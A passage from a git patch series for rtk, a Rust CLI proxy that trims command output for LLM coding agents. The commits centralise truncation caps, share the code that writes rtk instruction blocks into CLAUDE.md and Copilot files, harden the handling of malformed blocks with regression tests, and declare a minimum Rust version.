for loc in locations.iter().take(3) { diff --git a/src/cmds/rust/runner.rs b/src/cmds/rust/runner.rs index 476f906719..8a13c1ce15 100644 --- a/src/cmds/rust/runner.rs +++ b/src/cmds/rust/runner.rs @@ -1,11 +1,15 @@ //! Runs arbitrary commands and captures only stderr or test failures. use crate::core::stream::StreamFilter; +use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; use anyhow::Result; use lazy_static::lazy_static; use regex::Regex; use std::process::Command; +const MAX_RUNNER_FAILURES: usize = CAP_WARNINGS; +const MAX_RUNNER_LINES: usize = CAP_LIST; + lazy_static! { static ref ERROR_PATTERNS: Vec = vec![ // Generic errors @@ -236,17 +240,23 @@ fn extract_test_summary(output: &str, command: &str) -> String { if !failures.is_empty() { output.push_str("[FAIL] FAILURES:\n"); - for f in failures.iter().take(10) { + for f in failures.iter().take(MAX_RUNNER_FAILURES) { output.push_str(&format!(" {}\n", f)); } - if failures.len() > 10 { - output.push_str(&format!(" ... +{} more failures\n", failures.len() - 10)); + if failures.len() > MAX_RUNNER_FAILURES { + output.push_str(&format!( + " ... +{} more failures\n", + failures.len() - MAX_RUNNER_FAILURES + )); } - for f in failure_lines.iter().take(20) { + for f in failure_lines.iter().take(MAX_RUNNER_LINES) { output.push_str(&format!(" {}\n", f.trim())); } - if failure_lines.len() > 20 { - output.push_str(&format!(" ... +{} more\n", failure_lines.len() - 20)); + if failure_lines.len() > MAX_RUNNER_LINES { + output.push_str(&format!( + " ... +{} more\n", + failure_lines.len() - MAX_RUNNER_LINES + )); } output.push('\n'); } diff --git a/src/cmds/system/deps.rs b/src/cmds/system/deps.rs index 0342b2bef7..dd83a87621 100644 --- a/src/cmds/system/deps.rs +++ b/src/cmds/system/deps.rs @@ -1,11 +1,16 @@ //! Summarizes project dependencies from lock files and manifests. use crate::core::tracking; +use crate::core::truncate::CAP_WARNINGS; use anyhow::Result; use regex::Regex; use std::fs; use std::path::Path; +const MAX_DEPS: usize = CAP_WARNINGS; +// dev deps are secondary to prod — show fewer. +const MAX_DEV_DEPS: usize = CAP_WARNINGS - 5; + /// Summarize project dependencies pub fn run(path: &Path, verbose: u8) -> Result<()> { let timer = tracking::TimedExecution::start(); @@ -107,20 +112,20 @@ fn summarize_cargo_str(path: &Path) -> Result { if !deps.is_empty() { out.push_str(&format!(" Dependencies ({}):\n", deps.len())); - for d in deps.iter().take(10) { + for d in deps.iter().take(MAX_DEPS) { out.push_str(&format!(" {}\n", d)); } - if deps.len() > 10 { - out.push_str(&format!(" ... +{} more\n", deps.len() - 10)); + if deps.len() > MAX_DEPS { + out.push_str(&format!(" ... +{} more\n", deps.len() - MAX_DEPS)); } } if !dev_deps.is_empty() { out.push_str(&format!(" Dev ({}):\n", dev_deps.len())); - for d in dev_deps.iter().take(5) { + for d in dev_deps.iter().take(MAX_DEV_DEPS) { out.push_str(&format!(" {}\n", d)); } - if dev_deps.len() > 5 { - out.push_str(&format!(" ... +{} more\n", dev_deps.len() - 5)); + if dev_deps.len() > MAX_DEV_DEPS { + out.push_str(&format!(" ... +{} more\n", dev_deps.len() - MAX_DEV_DEPS)); } } Ok(out) @@ -138,8 +143,8 @@ fn summarize_package_json_str(path: &Path) -> Result { if let Some(deps) = json.get("dependencies").and_then(|v| v.as_object()) { out.push_str(&format!(" Dependencies ({}):\n", deps.len())); for (i, (name, version)) in deps.iter().enumerate() { - if i >= 10 { - out.push_str(&format!(" ... +{} more\n", deps.len() - 10)); + if i >= MAX_DEPS { + out.push_str(&format!(" ... +{} more\n", deps.len() - MAX_DEPS)); break; } out.push_str(&format!( @@ -152,8 +157,8 @@ fn summarize_package_json_str(path: &Path) -> Result { if let Some(dev_deps) = json.get("devDependencies").and_then(|v| v.as_object()) { out.push_str(&format!(" Dev Dependencies ({}):\n", dev_deps.len())); for (i, (name, _)) in dev_deps.iter().enumerate() { - if i >= 5 { - out.push_str(&format!(" ... +{} more\n", dev_deps.len() - 5)); + if i >= MAX_DEV_DEPS { + out.push_str(&format!(" ... +{} more\n", dev_deps.len() - MAX_DEV_DEPS)); break; } out.push_str(&format!(" {}\n", name)); @@ -181,11 +186,11 @@ fn summarize_requirements_str(path: &Path) -> Result { } out.push_str(&format!(" Packages ({}):\n", deps.len())); - for d in deps.iter().take(15) { + for d in deps.iter().take(MAX_DEPS) { out.push_str(&format!(" {}\n", d)); } - if deps.len() > 15 { - out.push_str(&format!(" ... +{} more\n", deps.len() - 15)); + if deps.len() > MAX_DEPS { + out.push_str(&format!(" ... +{} more\n", deps.len() - MAX_DEPS)); } Ok(out) } @@ -216,11 +221,11 @@ fn summarize_pyproject_str(path: &Path) -> Result { if !deps.is_empty() { out.push_str(&format!(" Dependencies ({}):\n", deps.len())); - for d in deps.iter().take(10) { + for d in deps.iter().take(MAX_DEPS) { out.push_str(&format!(" {}\n", d)); } - if deps.len() > 10 { - out.push_str(&format!(" ... +{} more\n", deps.len() - 10)); + if deps.len() > MAX_DEPS { + out.push_str(&format!(" ... +{} more\n", deps.len() - MAX_DEPS)); } } Ok(out) @@ -259,11 +264,11 @@ fn summarize_gomod_str(path: &Path) -> Result { } if !deps.is_empty() { out.push_str(&format!(" Dependencies ({}):\n", deps.len())); - for d in deps.iter().take(10) { + for d in deps.iter().take(MAX_DEPS) { out.push_str(&format!(" {}\n", d)); } - if deps.len() > 10 { - out.push_str(&format!(" ... +{} more\n", deps.len() - 10)); + if deps.len() > MAX_DEPS { + out.push_str(&format!(" ... +{} more\n", deps.len() - MAX_DEPS)); } } Ok(out) diff --git a/src/cmds/system/env_cmd.rs b/src/cmds/system/env_cmd.rs index 72b20166aa..f131b2634f 100644 --- a/src/cmds/system/env_cmd.rs +++ b/src/cmds/system/env_cmd.rs @@ -1,6 +1,7 @@ //! Filters environment variables, hiding secrets and noise. use crate::core::tracking; +use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; use anyhow::Result; use std::collections::HashSet; use std::env; @@ -71,11 +72,12 @@ pub fn run(filter: Option<&str>, show_all: bool, verbose: u8) -> Result<()> { // Split PATH for readability let paths: Vec<&str> = v.split(':').collect(); println!(" PATH ({} entries):", paths.len()); - for p in paths.iter().take(5) { + const MAX_PATH_ENTRIES: usize = CAP_WARNINGS; + for p in paths.iter().take(MAX_PATH_ENTRIES) { println!(" {}", p); } - if paths.len() > 5 { - println!(" ... +{} more", paths.len() - 5); + if paths.len() > MAX_PATH_ENTRIES { + println!(" ... +{} more", paths.len() - MAX_PATH_ENTRIES); } } else { println!(" {}={}", k, v); @@ -105,12 +107,13 @@ pub fn run(filter: Option<&str>, show_all: bool, verbose: u8) -> Result<()> { } if !other_vars.is_empty() { + const MAX_OTHER_VARS: usize = CAP_LIST; println!("\nOther:"); - for (k, v) in other_vars.iter().take(20) { + for (k, v) in other_vars.iter().take(MAX_OTHER_VARS) { println!(" {}={}", k, v); } - if other_vars.len() > 20 { - println!(" ... +{} more", other_vars.len() - 20); + if other_vars.len() > MAX_OTHER_VARS { + println!(" ... +{} more", other_vars.len() - MAX_OTHER_VARS); } } diff --git a/src/cmds/system/format_cmd.rs b/src/cmds/system/format_cmd.rs index 6e37c15968..c71dd10723 100644 --- a/src/cmds/system/format_cmd.rs +++ b/src/cmds/system/format_cmd.rs @@ -2,6 +2,7 @@ use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{package_manager_exec, resolved_command}; use crate::prettier_cmd; use crate::ruff_cmd; @@ -237,14 +238,15 @@ fn filter_black_output(output: &str) -> String { result.push_str("═══════════════════════════════════════\n"); if !files_to_format.is_empty() { - for (i, file) in files_to_format.iter().take(10).enumerate() { + const MAX_FORMAT_FILES: usize = CAP_WARNINGS; + for (i, file) in files_to_format.iter().take(MAX_FORMAT_FILES).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, compact_path(file))); } - if files_to_format.len() > 10 { + if files_to_format.len() > MAX_FORMAT_FILES { result.push_str(&format!( "\n... +{} more files\n", - files_to_format.len() - 10 + files_to_format.len() - MAX_FORMAT_FILES )); } } diff --git a/src/cmds/system/log_cmd.rs b/src/cmds/system/log_cmd.rs index bd76a73b7a..068fcba9e1 100644 --- a/src/cmds/system/log_cmd.rs +++ b/src/cmds/system/log_cmd.rs @@ -1,6 +1,7 @@ //! Deduplicates repeated log lines and shows counts instead. use crate::core::tracking; +use crate::core::truncate::CAP_WARNINGS; use anyhow::Result; use lazy_static::lazy_static; use regex::Regex; @@ -136,7 +137,8 @@ fn analyze_logs(content: &str) -> String { let mut error_list: Vec<_> = error_counts.iter().collect(); error_list.sort_by(|a, b| b.1.cmp(a.1)); - for (normalized, count) in error_list.iter().take(10) { + const MAX_LOG_ERRORS: usize = CAP_WARNINGS; + for (normalized, count) in error_list.iter().take(MAX_LOG_ERRORS) { // Find original message let original = unique_errors .iter() @@ -161,10 +163,10 @@ fn analyze_logs(content: &str) -> String { } } - if error_list.len() > 10 { + if error_list.len() > MAX_LOG_ERRORS { result.push(format!( " ... +{} more unique errors", - error_list.len() - 10 + error_list.len() - MAX_LOG_ERRORS )); } result.push(String::new()); @@ -177,7 +179,9 @@ fn analyze_logs(content: &str) -> String { let mut warn_list: Vec<_> = warn_counts.iter().collect(); warn_list.sort_by(|a, b| b.1.cmp(a.1)); - for (normalized, count) in warn_list.iter().take(5) { + // warnings are lower severity than errors — show fewer. + const MAX_LOG_WARNS: usize = CAP_WARNINGS - 5; + for (normalized, count) in warn_list.iter().take(MAX_LOG_WARNS) { let original = unique_warnings .iter() .find(|w| { @@ -201,10 +205,10 @@ fn analyze_logs(content: &str) -> String { } } - if warn_list.len() > 5 { + if warn_list.len() > MAX_LOG_WARNS { result.push(format!( " ... +{} more unique warnings", - warn_list.len() - 5 + warn_list.len() - MAX_LOG_WARNS )); } } diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index 537e8272fb..f24d4bad7b 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -2,6 +2,7 @@ use super::constants::NOISE_DIRS; use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::resolved_command; use anyhow::Result; use lazy_static::lazy_static; @@ -252,17 +253,19 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { // Summary line (separate so caller can suppress when piped) let mut summary = format!("\nSummary: {} files, {} dirs", files.len(), dirs.len()); if !by_ext.is_empty() { + // inline single-line summary — fewer entries to avoid wrapping. + const MAX_EXT_SUMMARY: usize = CAP_WARNINGS - 5; let mut ext_counts: Vec<_> = by_ext.iter().collect(); ext_counts.sort_by(|a, b| b.1.cmp(a.1)); let ext_parts: Vec = ext_counts .iter() - .take(5) + .take(MAX_EXT_SUMMARY) .map(|(ext, count)| format!("{} {}", count, ext)) .collect(); summary.push_str(" ("); summary.push_str(&ext_parts.join(", ")); - if ext_counts.len() > 5 { - summary.push_str(&format!(", +{} more", ext_counts.len() - 5)); + if ext_counts.len() > MAX_EXT_SUMMARY { + summary.push_str(&format!(", +{} more", ext_counts.len() - MAX_EXT_SUMMARY)); } summary.push(')'); } diff --git a/src/cmds/system/pipe_cmd.rs b/src/cmds/system/pipe_cmd.rs index f4e041d221..6dcc4cdb61 100644 --- a/src/cmds/system/pipe_cmd.rs +++ b/src/cmds/system/pipe_cmd.rs @@ -2,6 +2,11 @@ use anyhow::Result; use std::io::Read; use crate::core::stream::RAW_CAP; +use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; + +const MAX_PIPE_MATCHES: usize = CAP_WARNINGS; +const MAX_PIPE_FILES: usize = CAP_WARNINGS; +const MAX_PIPE_DIRS: usize = CAP_LIST; pub fn resolve_filter(name: &str) -> Option String> { match name { @@ -78,11 +83,11 @@ fn grep_wrapper(input: &str) -> String { for (file, matches) in files { out.push_str(&format!("[file] {} ({}):\n", file, matches.len())); - for (line_num, content) in matches.iter().take(10) { + for (line_num, content) in matches.iter().take(MAX_PIPE_MATCHES) { out.push_str(&format!(" {:>4}: {}\n", line_num, content.trim())); } - if matches.len() > 10 { - out.push_str(&format!(" +{}\n", matches.len() - 10)); + if matches.len() > MAX_PIPE_MATCHES { + out.push_str(&format!(" +{}\n", matches.len() - MAX_PIPE_MATCHES)); } out.push('\n'); } @@ -117,18 +122,18 @@ fn find_wrapper(input: &str) -> String { let mut dirs: Vec<_> = by_dir.iter().collect(); dirs.sort_by_key(|(d, _)| *d); - for (dir, files) in dirs.iter().take(20) { + for (dir, files) in dirs.iter().take(MAX_PIPE_DIRS) { out.push_str(&format!("{}/ ({})\n", dir, files.len())); - for f in files.iter().take(10) { + for f in files.iter().take(MAX_PIPE_FILES) { out.push_str(&format!(" {}\n", f)); } - if files.len() > 10 { - out.push_str(&format!(" +{}\n", files.len() - 10)); + if files.len() > MAX_PIPE_FILES { + out.push_str(&format!(" +{}\n", files.len() - MAX_PIPE_FILES)); } } - if dirs.len() > 20 { - out.push_str(&format!("\n+{} more dirs\n", dirs.len() - 20)); + if dirs.len() > MAX_PIPE_DIRS { + out.push_str(&format!("\n+{} more dirs\n", dirs.len() - MAX_PIPE_DIRS)); } out diff --git a/src/cmds/system/summary.rs b/src/cmds/system/summary.rs index c6e2ec0517..31de537ea0 100644 --- a/src/cmds/system/summary.rs +++ b/src/cmds/system/summary.rs @@ -2,11 +2,15 @@ use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::truncate; use anyhow::{Context, Result}; use regex::Regex; use std::process::Command; +const MAX_SUMMARY_LIST: usize = CAP_WARNINGS; +const MAX_SUMMARY_KEYS: usize = CAP_WARNINGS; + /// Run a command and provide a heuristic summary pub fn run(command: &str, verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); @@ -229,11 +233,11 @@ fn summarize_list(output: &str, result: &mut Vec) { let lines: Vec<&str> = output.lines().filter(|l| !l.trim().is_empty()).collect(); result.push(format!("List ({} items):", lines.len())); - for line in lines.iter().take(10) { + for line in lines.iter().take(MAX_SUMMARY_LIST) { result.push(format!(" • {}", truncate(line, 70))); } - if lines.len() > 10 { - result.push(format!(" ... +{} more", lines.len() - 10)); + if lines.len() > MAX_SUMMARY_LIST { + result.push(format!(" ... +{} more", lines.len() - MAX_SUMMARY_LIST)); } } @@ -248,11 +252,11 @@ fn summarize_json(output: &str, result: &mut Vec) { } serde_json::Value::Object(obj) => { result.push(format!(" Object with {} keys:", obj.len())); - for key in obj.keys().take(10) { + for key in obj.keys().take(MAX_SUMMARY_KEYS) { result.push(format!(" • {}", key)); } - if obj.len() > 10 { - result.push(format!(" ... +{} more keys", obj.len() - 10)); + if obj.len() > MAX_SUMMARY_KEYS { + result.push(format!(" ... +{} more keys", obj.len() - MAX_SUMMARY_KEYS)); } } _ => { diff --git a/src/core/README.md b/src/core/README.md index 9b8a8a414f..ed7e6ae2cc 100644 --- a/src/core/README.md +++ b/src/core/README.md @@ -123,5 +123,9 @@ For truncation recovery on **success** (e.g., list truncated at 20 items), use ` When the truncated output is a **flat list** and the hidden items start at a predictable line, prefer `tee::force_tee_tail_hint(content, slug, offset)`. It writes the same tee file but emits a directly runnable hint — `[see remaining: tail -n +{offset} ~/path]` — so the agent jumps to exactly the first hidden item without scanning the whole file. The offset is `header_lines + MAX_CAP + 1`. Use `force_tee_hint` instead when the output has multiple sections (e.g. running + stopped containers) and no single offset cleanly covers the gap. +### Truncation Caps (`truncate`) + +`src/core/truncate.rs` defines four global cap policies — `CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY` — for the data classes RTK filters truncate. Each filter binds the right CAP to a local `const MAX_*` so the cap is one named jump away from the call site. These CAPs are the staging point for filter-level cap configuration (planned, not yet implemented): once the config surface lands, overriding `CAP_LIST` in `~/.config/rtk/config.toml` will tune every list filter in one place instead of editing 20+ files. A filter that genuinely needs to deviate uses a small additive offset (`CAP_WARNINGS - 5`) with a one-line reason, so it still moves with the global; bare literals and `*`/`/` scaling are avoided. + ## Adding New Functionality Place new infrastructure code here if it meets **all** of these criteria: (1) it has no dependencies on command modules or hooks, (2) it is used by two or more other modules, and (3) it provides a general-purpose utility rather than command-specific logic. Follow the existing pattern of lazy-initialized resources (`lazy_static!` for regex, on-demand config loading) to preserve the <10ms startup target. Add `#[cfg(test)] mod tests` with unit tests in the same file. diff --git a/src/core/mod.rs b/src/core/mod.rs index 01317e9425..fe017d910d 100644 --- a/src/core/mod.rs +++ b/src/core/mod.rs @@ -11,4 +11,5 @@ pub mod telemetry; pub mod telemetry_cmd; pub mod toml_filter; pub mod tracking; +pub mod truncate; pub mod utils; diff --git a/src/core/truncate.rs b/src/core/truncate.rs new file mode 100644 index 0000000000..297a108288 --- /dev/null +++ b/src/core/truncate.rs @@ -0,0 +1,4 @@ +pub const CAP_ERRORS: usize = 20; +pub const CAP_WARNINGS: usize = 10; +pub const CAP_LIST: usize = 20; +pub const CAP_INVENTORY: usize = 50; diff --git a/src/parser/formatter.rs b/src/parser/formatter.rs index 225fd6f01c..613be8f9ae 100644 --- a/src/parser/formatter.rs +++ b/src/parser/formatter.rs @@ -1,5 +1,8 @@ /// Token-efficient formatting trait for canonical types use super::types::*; +use crate::core::truncate::CAP_INVENTORY; + +const MAX_DEPS_LISTING: usize = CAP_INVENTORY; /// Output formatting modes #[derive(Debug, Clone, Copy, PartialEq, Eq)] @@ -128,12 +131,15 @@ impl TokenFormatter for DependencyState { if is_listing { let total = self.total_packages.max(self.dependencies.len()); let mut lines = vec![format!("{} packages", total)]; - for dep in self.dependencies.iter().take(50) { + for dep in self.dependencies.iter().take(MAX_DEPS_LISTING) { let dev = if dep.dev_dependency { " (dev)" } else { "" }; lines.push(format!(" {} {}{}", dep.name, dep.current_version, dev)); } - if self.dependencies.len() > 50 { - lines.push(format!(" ... +{} more", self.dependencies.len() - 50)); + if self.dependencies.len() > MAX_DEPS_LISTING { + lines.push(format!( + " ... +{} more", + self.dependencies.len() - MAX_DEPS_LISTING + )); } return lines.join("\n"); } From 35a540c34b93f3fcb224edb98051dbad5264735a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Thu, 21 May 2026 00:01:20 +0800 Subject: [PATCH 135/204] refactor(hooks/init): share write_rtk_block, unify malformed handling Address review feedback on #1976: - Extract write_rtk_block() shared dispatcher: eliminates the duplicated 4-arm RtkBlockUpsert match between run_claude_md_mode and the former upsert_copilot_instructions (now inlined). Both callers stay under the ~60-line guideline. - Unify malformed handling: both paths now bail!() with a diagnostic and the exact recovery command. CLAUDE.md previously warned and exited 0, silently skipping the OpenCode plugin step; behaviour is now consistent. - Reorder run_copilot_at: upsert copilot-instructions.md BEFORE writing the hook config so a malformed file aborts the install without leaving a stale .github/hooks/rtk-rewrite.json on disk. Regression coverage: - test_claude_md_mode_refuses_malformed_block mirrors the existing copilot malformed test against the shared dispatcher contract. - test_copilot_init_malformed_leaves_no_hook_on_disk pins the new write order so a future re-order regression is caught. cargo fmt / clippy --all-targets / test --bin rtk: clean (1909 passed). --- src/hooks/init.rs | 300 ++++++++++++++++++++++++---------------------- 1 file changed, 159 insertions(+), 141 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 9371ea4e9d..9af21dc575 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -1482,72 +1482,22 @@ fn run_claude_md_mode(global: bool, install_opencode: bool, ctx: InitContext) -> eprintln!("Writing rtk instructions to: {}", path.display()); } - if path.exists() { - let existing = fs::read_to_string(&path)?; - // upsert_rtk_block handles all 4 cases: add, update, unchanged, malformed - let (new_content, action) = upsert_rtk_block(&existing, RTK_INSTRUCTIONS); - - match action { - RtkBlockUpsert::Added => { - if dry_run { - println!("[dry-run] would add rtk instructions to {}", path.display()); - } else { - fs::write(&path, new_content)?; - println!("[ok] Added rtk instructions to existing {}", path.display()); - } - } - RtkBlockUpsert::Updated => { - if dry_run { - println!( - "[dry-run] would update rtk instructions in {}", - path.display() - ); - } else { - fs::write(&path, new_content)?; - println!("[ok] Updated rtk instructions in {}", path.display()); - } - } - RtkBlockUpsert::Unchanged => { - if !dry_run { - println!( - "[ok] {} already contains up-to-date rtk instructions", - path.display() - ); - } - return Ok(()); - } - RtkBlockUpsert::Malformed => { - eprintln!( - "[warn] Warning: Found '{}' without closing marker in {}", - RTK_BLOCK_START, - path.display() - ); + let recovery_cmd = if global { + "rtk init -g --claude-md" + } else { + "rtk init --claude-md" + }; - if let Some((line_num, _)) = existing - .lines() - .enumerate() - .find(|(_, line)| line.contains(RTK_BLOCK_START)) - { - eprintln!(" Location: line {}", line_num + 1); - } + let action = write_rtk_block( + &path, + RTK_INSTRUCTIONS, + "rtk instructions", + recovery_cmd, + ctx, + )?; - eprintln!(" Action: Manually remove the incomplete block, then re-run:"); - if global { - eprintln!(" rtk init -g --claude-md"); - } else { - eprintln!(" rtk init --claude-md"); - } - return Ok(()); - } - } - } else if dry_run { - println!( - "[dry-run] would create {} with rtk instructions", - path.display() - ); - } else { - fs::write(&path, RTK_INSTRUCTIONS)?; - println!("[ok] Created {} with rtk instructions", path.display()); + if matches!(action, RtkBlockUpsert::Unchanged) { + return Ok(()); } if global { @@ -2416,6 +2366,85 @@ fn upsert_rtk_block(content: &str, block: &str) -> (String, RtkBlockUpsert) { } } +/// Idempotently write an RTK-owned marker block into `path`, preserving user content. +/// +/// Reads the file (if any), passes it through [`upsert_rtk_block`], and writes the +/// result back via [`atomic_write`]. Refuses to modify files containing an opening +/// marker without a matching closing marker (bails with a diagnostic and the exact +/// `recovery_cmd` to re-run after manual cleanup). +/// +/// Returns the [`RtkBlockUpsert`] action so callers can branch on whether anything +/// was actually changed (e.g., to skip post-install steps on `Unchanged`). +/// +/// `label` is shown in user-facing messages (e.g., `"rtk instructions"`, +/// `"Copilot instructions"`). +fn write_rtk_block( + path: &Path, + block: &str, + label: &str, + recovery_cmd: &str, + ctx: InitContext, +) -> Result { + let InitContext { dry_run, .. } = ctx; + + let existing = if path.exists() { + fs::read_to_string(path).with_context(|| format!("Failed to read {}", path.display()))? + } else { + String::new() + }; + + let (new_content, action) = upsert_rtk_block(&existing, block); + + match action { + RtkBlockUpsert::Added => { + if dry_run { + println!("[dry-run] would add {} to {}", label, path.display()); + } else { + atomic_write(path, &new_content) + .with_context(|| format!("Failed to write {}", path.display()))?; + println!("[ok] Added {} to {}", label, path.display()); + } + } + RtkBlockUpsert::Updated => { + if dry_run { + println!("[dry-run] would update {} in {}", label, path.display()); + } else { + atomic_write(path, &new_content) + .with_context(|| format!("Failed to write {}", path.display()))?; + println!("[ok] Updated {} in {}", label, path.display()); + } + } + RtkBlockUpsert::Unchanged => { + if !dry_run { + println!("[ok] {} already up to date in {}", label, path.display()); + } + } + RtkBlockUpsert::Malformed => { + eprintln!( + "[warn] Found '{}' without closing marker in {}", + RTK_BLOCK_START, + path.display() + ); + if let Some((line_num, _)) = existing + .lines() + .enumerate() + .find(|(_, line)| line.contains(RTK_BLOCK_START)) + { + eprintln!(" Location: line {}", line_num + 1); + } + eprintln!(" Action: Manually remove the incomplete block, then re-run:"); + eprintln!(" {recovery_cmd}"); + anyhow::bail!( + "Refusing to modify malformed {} at {}", + label, + path.display() + ); + } + } + + Ok(action) +} + /// Patch CLAUDE.md: add @RTK.md, migrate if old block exists fn patch_claude_md(path: &Path, ctx: InitContext) -> Result { let InitContext { verbose, dry_run } = ctx; @@ -3711,78 +3740,6 @@ rtk proxy # Run raw (no filtering) but track usage "#; -/// Upsert the RTK marker block in `copilot-instructions.md`. -/// -/// Preserves user content outside the ` ... -/// ` markers; only RTK-owned content between the -/// markers is added/updated/left untouched depending on prior state. -/// Refuses to modify malformed files (opening marker without closing). -fn upsert_copilot_instructions(path: &Path, ctx: InitContext) -> Result<()> { - let InitContext { verbose, dry_run } = ctx; - - let existing = if path.exists() { - fs::read_to_string(path).with_context(|| format!("Failed to read {}", path.display()))? - } else { - String::new() - }; - - let (new_content, action) = upsert_rtk_block(&existing, COPILOT_INSTRUCTIONS); - - match action { - RtkBlockUpsert::Added => { - if dry_run { - println!( - "[dry-run] would add Copilot instructions to {}", - path.display() - ); - } else { - atomic_write(path, &new_content) - .with_context(|| format!("Failed to write {}", path.display()))?; - if verbose > 0 { - eprintln!("Added Copilot instructions to {}", path.display()); - } - } - } - RtkBlockUpsert::Updated => { - if dry_run { - println!( - "[dry-run] would update Copilot instructions in {}", - path.display() - ); - } else { - atomic_write(path, &new_content) - .with_context(|| format!("Failed to write {}", path.display()))?; - if verbose > 0 { - eprintln!("Updated Copilot instructions in {}", path.display()); - } - } - } - RtkBlockUpsert::Unchanged => { - if verbose > 0 { - eprintln!( - "Copilot instructions already up to date: {}", - path.display() - ); - } - } - RtkBlockUpsert::Malformed => { - eprintln!( - "[warn] Found '{}' without closing marker in {}", - RTK_BLOCK_START, - path.display() - ); - eprintln!(" Action: Manually remove the incomplete block, then re-run:"); - eprintln!(" rtk init --copilot"); - anyhow::bail!( - "Refusing to modify malformed copilot-instructions.md at {}", - path.display() - ); - } - } - - Ok(()) -} - /// Entry point for `rtk init --copilot`. /// /// Installs in the current working directory's `.github/` subdirectory. @@ -3804,14 +3761,22 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { .with_context(|| format!("Failed to create {} directory", hooks_dir.display()))?; } - // 1. Write hook config + // 1. Upsert RTK marker block in copilot-instructions.md (preserves user content). + // Done BEFORE writing the hook config so a malformed file aborts the install + // without leaving a stale hook on disk. + let instructions_path = github_dir.join("copilot-instructions.md"); + write_rtk_block( + &instructions_path, + COPILOT_INSTRUCTIONS, + "Copilot instructions", + "rtk init --copilot", + ctx, + )?; + + // 2. Write hook config (only reached if the upsert above succeeded). let hook_path = hooks_dir.join("rtk-rewrite.json"); write_if_changed(&hook_path, COPILOT_HOOK_JSON, "Copilot hook config", ctx)?; - // 2. Upsert RTK marker block in copilot-instructions.md (preserves user content) - let instructions_path = github_dir.join("copilot-instructions.md"); - upsert_copilot_instructions(&instructions_path, ctx)?; - if dry_run { print_dry_run_footer(); } else { @@ -5864,4 +5829,57 @@ mod tests { let after = fs::read_to_string(&instructions_path).unwrap(); assert_eq!(after, malformed, "File must not be modified when malformed"); } + + #[test] + fn test_copilot_init_malformed_leaves_no_hook_on_disk() { + // Regression: a malformed copilot-instructions.md aborted the install + // mid-way, but the hook config had already been written. The upsert + // now runs first, so the hook config must not appear when the upsert + // bails. + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let instructions_path = github_dir.join("copilot-instructions.md"); + let malformed = format!("# My rules\n\n{}\nincomplete RTK block\n", RTK_BLOCK_START); + fs::write(&instructions_path, &malformed).unwrap(); + + let hook_path = github_dir.join("hooks").join("rtk-rewrite.json"); + + let result = run_copilot_at(temp.path(), InitContext::default()); + + assert!(result.is_err(), "Malformed file must cause a hard error"); + assert!( + !hook_path.exists(), + "Hook config must not be written when the upsert aborts: {}", + hook_path.display() + ); + } + + #[test] + fn test_claude_md_mode_refuses_malformed_block() { + // Mirrors `test_copilot_init_refuses_malformed_block`: a malformed + // CLAUDE.md previously emitted a warning and exited 0, silently + // skipping the OpenCode plugin step. The shared `write_rtk_block` + // dispatcher now bails for both paths. + let tmp = TempDir::new().unwrap(); + with_claude_dir_override(&tmp, |claude_dir| { + let claude_md = claude_dir.join(CLAUDE_MD); + let malformed = format!( + "# Existing notes\n\n{}\nincomplete RTK block\n", + RTK_BLOCK_START + ); + fs::write(&claude_md, &malformed).unwrap(); + + let result = run_claude_md_mode(true, false, InitContext::default()); + + assert!( + result.is_err(), + "Malformed CLAUDE.md must cause a hard error, not silent skip" + ); + + let after = fs::read_to_string(&claude_md).unwrap(); + assert_eq!(after, malformed, "File must not be modified when malformed"); + }); + } } From 6f4519a183ca43c3f08c855c57b1392f729a67ad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Thu, 21 May 2026 08:25:59 +0800 Subject: [PATCH 136/204] chore(cargo): declare MSRV via rust-version = "1.91" MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit rtk uses `str::floor_char_boundary()` (src/cmds/system/pipe_cmd.rs:140) which was stabilized in Rust 1.91.0. Without `rust-version` in Cargo.toml, packagers on older toolchains hit a confusing `use of unstable library feature` error from rustc. With this declaration, cargo gives the expected friendly diagnostic up-front: error: rustc 1.88.0 is not supported by the following packages: rtk@0.34.3 requires rustc 1.91 Verified locally by switching toolchains: - cargo +1.88 check → fails with the new clear MSRV error (intended) - cargo +1.93 fmt/clippy/test → 1909 passed, zero warnings Fixes #1402 --- Cargo.toml | 1 + 1 file changed, 1 insertion(+) diff --git a/Cargo.toml b/Cargo.toml index 726a01709c..f06266e631 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -2,6 +2,7 @@ name = "rtk" version = "0.34.3" edition = "2021" +rust-version = "1.91" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" license = "MIT" From d5a17315c52487be2d043e0058a4f7d91ec3d2bc Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Thu, 21 May 2026 11:24:16 +0200 Subject: [PATCH 137/204] fix(truncate): global caps reduce (avoid underflow and 0 results) - Avoid underflow + 0 results caused by overwrite of global constant CAPS - Soon user will be able to apply global configuration, this will change global CAPS and should not cause any underflow or 0 results, if overwrite sub >= CAPS -> use CAPS. --- src/cmds/README.md | 2 +- src/cmds/git/gt_cmd.rs | 4 +-- src/cmds/ruby/rspec_cmd.rs | 4 +-- src/cmds/system/deps.rs | 